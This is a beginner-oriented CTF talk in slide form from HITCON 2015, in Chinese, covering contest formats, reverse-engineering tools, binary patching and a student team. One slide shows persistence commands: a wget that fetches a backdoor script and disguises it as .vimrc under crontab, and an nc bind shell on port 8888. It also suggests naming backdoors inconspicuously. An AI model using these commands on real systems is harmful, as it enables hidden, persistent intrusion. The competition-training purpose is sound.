Ctf For Beginner
- 1. CTF For Beginner 2015/08/29 @ HITCON bananaappletw
- 2. $whoami? ? bananaappletw ? 交通大學資工系大四 ? 從開始學習資安到現在約一年 ? 專長 : Binary exploit ? 目前為 Bamboofox 中的一員 ? 曾經參與的比賽 ? CTCTF ( 台交駭客搶旗賽 ) ? Bosten key party CTF 2015 ? DEF CON CTF Qualifier 2015 ? HoneyMe CTF ? ……
- 3. 故事的开始 DESCRIPTION 這是專在講 "程式不安全" 的課程，也建立一個 wargame.cs.nctu.edu.tw 的專屬網站。這門課最早在96年開設，中 間斷了幾年，去年恢復開課，但講師力不從心，宣示是最後一次。 直到最近。學生們很爭氣地，加入 HITCON 戰隊，與 CHROOT、台 科大、台大等學生合力打到世界駭客年會的亞軍，表示很希望維持 這股氣勢，同時響應科技部次長的宣示，要祕密培訓學生。於是， 重啟程式不安全的課程。
- 4. 故事的开始
- 5. 一点开课程网页…
- 7. 最後實在是受不了 才去問講師要做什麼 telnet secprog.cs.nctu.edu.tw 10003 ( 當初連 nc 是什麼都不知道 ) 才開始解題… 當初想說要是兩個禮拜內沒解出任何一題 就放棄吧
- 8. ROP 給你固定的 instructions 選項 組合 instructions 來合成三個 system call open -> read -> write open “/home/rop/flag” open return file fd read file fd to buffer write buffer to STDOUT
- 11. 我用 objdump 一行一行看組語，看了四、五個禮拜後才知道有 IDA PRO 這種工具 X，當初到底是誰說用 objdump 看 binary 的 只是也意外地學習到一項技能 打 CTF 的時候有些題目需要能夠直接看組語的能力 因為IDA PRO 翻出的 c code 可能會不正確 就可以直接看 assembly 去驗證
- 12. IDA PRO簡介 ? 強大的反組譯工具 ? Hex-Rays decompiler plugin
- 13. CTF ? 全名為 Capture The Flag 簡稱為 CTF ? 是目前網路當紅的資安競賽 ? 培育資安人才之搖籃 ? 主要的類型 ? Jeopardy ? Attack And Defense ? King of the Hill
- 14. Jeopardy
- 15. Jeopardy ? Jeopardy 為一種遊戲進行方式，中譯“答題賽” ? 題目由主辦單位公布 ? 哪個 service 開在哪個 IP 的哪個 port ? 題目的基本資訊、hint ? 提供 binary 檔案下載
- 18. Attack And Defense ? 每支隊伍負責維護一台 server ( gamebox ) 上的數個 service ? 遊戲目的大致可以分為兩種 ? 維護 service : 能夠獲得基本分數 ? 修補漏洞 : 不影響正常程式行為的情況下進行修補 ( binary patch ) ? 攻擊服務 : 被入侵的一方會扣分, 扣的分數平均分給入侵的隊伍
- 19. Attack And Defense ? 通常一個 service 會存在很多個漏洞 ? 在家目錄底下會有 flag 檔案 ? 每過一個 round flag 會更新 ? 監聽網路流量，分析封包並修補漏洞以及重送別隊的 payload ? 植入後門，持續性地送 flag 回來
- 20. King of the Hill
- 21. King of the Hill ? 和 Attack And Defense 比較相近的類型 ? 佔領的時間越久得到的分數越多 ? 有些類型可以把自己的 binary 寫到主機上 ? 或是把自己的 key 寫到首頁上
- 22. 第一次的CTF 學長後來看我蠻認真地在學習 就邀我跟他們 ( HITCON ) 一起打 CTF 本來心想學了這麼多終於有機會可以展現了 吃我的 shellcode 拉 結果……
- 23. ASIS CTF Finals 2014 題目一題都看不懂 G_G
- 24. 教练我想打颁罢贵
- 25. 教练我想打颁罢贵 在學習資安和打 CTF 的這段路上 其實非常痛苦 你會遇到不只一次以上的挫折 隨著自身的努力和進步後 困難也不會因此變得簡單 只是慢慢就會習慣了!!! ddaa : 第一次總是比較痛
- 26. 教练我想打颁罢贵 開始更認真研究各種 Vulnerabilities 把自己不熟的原理搞清楚 使用 gdb 設 break point去觀察各個 registors 值 還有 strace 和 ltrace 去追蹤各個 system call 和 library call 不斷看 code 看 write-up 真正實作一次 不斷訓練自己 exploit 的思路 Bypass !!!
- 27. GDB: The GNU Project Debugger ? Command-line based debugger ? 使用 xinetd 架設一個一模一樣的環境開在 port 上 ? 連線成功後使用 ps 去看 pid ? 開啟 gdb attach process ? 開始 debug!!! ? 觀察 stack frame ? 直接修改 memory 預測 exploit 會達到的效果 ? set $eip = 0x0804860d ? Succeed -> 開始寫exploit
- 28. CTF Tools ? IDA PRO : 強大的反解譯工具 ? GDB: Command-line based debugger ? pwntools : python package 專門用來撰寫 exploit ? checksec.sh : 來檢查 binary 有什麼保護
- 29. 期末考-CTCTF Attack & Defense 每支隊伍負責維護一台 server 的數個 service，在比賽期間攻擊其 隊伍的 service，並修補自己 service 的漏洞
- 30. 期末考-CTCTF 為期兩天的 CTF 打完大家都累癱了 分析別隊的 payload 並加以應用 replay 別隊的 payload 達到相同的效果 應該如何迅速的 binary patch Ex : /home/starbound/flag 將字串截斷直接 patch 成 null byte x00 將 Library 裡危險的 function ( ex: system ) patch 成 NOP x90 指令 將 input length 變小將 buffer 開大
- 31. 期末考-CTCTF 像是怎麼將進來的 shell 殺掉 ps -aux | grep starbound kill $pid 找找看有沒有後門 find / -user starbound 看 crontab 有沒有被別人寫入東西 crontab -l
- 32. Backdoor ? 目的 : 持續性的取得 shell 的控制權 ? 把 flag 傳回來 ? 寫 crontab 去執行檔案 ? 找有 write 權限的地方，名稱盡量要取低調一點 backdoor.sh ( X ) .vimrc .swp .X11-config ( O ) wget http://people.cs.nctu.edu.tw/~wpchen/backdoor.sh -O /tmp/.vimrc ; crontab /tmp/.vimrc nc -e /bin/sh -l -p 8888 將聽到的指令交由 sh 執行
- 33. Binary Patch ? Why binary patch? ? Tools ? hexeditor ? bvi ? vim+xxd ? Vulnerabilities ? Input length limit ? Buffer size ? Initialized value ? Vulnerabilities ? Strings ( file path : /home/flag/eliza ) ? Unused and dangerous function ( system(), exev() )
- 34. Demo Time 在 local 使用 xinetd 在 5566 port 架設同樣的環境 nc localhost 5566 觀察 binary : strings , objdump 使用 IDA PRO decompiler program 撰寫 exploit backdoor binary patch demo video : https://www.youtube.com/watch?v=XPlxIYUm_3M
- 35. Bamboofox
- 36. 成員組成 ? 交大兩大實驗室 ? DSNS ? SQLAB ? 和其他來自各校的高手 ? 中央大學、中原大學 ? 以及資安業界上的前輩
- 37. 戰績 ? BCTF 2015 第13名 ? 0CTF 2015 第22名 ? 0CTF 2015 Finals 第7名 ? ASIS 2015 第18名 ? DEF CON CTF Qualifier 2015 第37名 ? HoneyMe CTF 第一名
- 38. Bamboofox 社團網站 : https://bamboofox.torchpad.com/ Facebook : https://www.facebook.com/groups/bamboofox/ Slack channel : https://bamboofox.herokuapp.com/ 主要目的是 CTF 競賽, 希望能在 DEFCON CTF 打進 Final 目前在交大正在創立社團 : 網路安全策進會 Facebook : https://www.facebook.com/NCTUCSC ? 資安知識的傳承與交流 ? 協助學校修復校園網站漏洞
- 39. 資源 暑訓課程內容 : https://bamboofox.torchpad.com/ Class/training 程式安全網站 : http://ctf.cs.nctu.edu.tw/ 社團訓練網站 : http://train.cs.nctu.edu.tw/
- 40. Q&A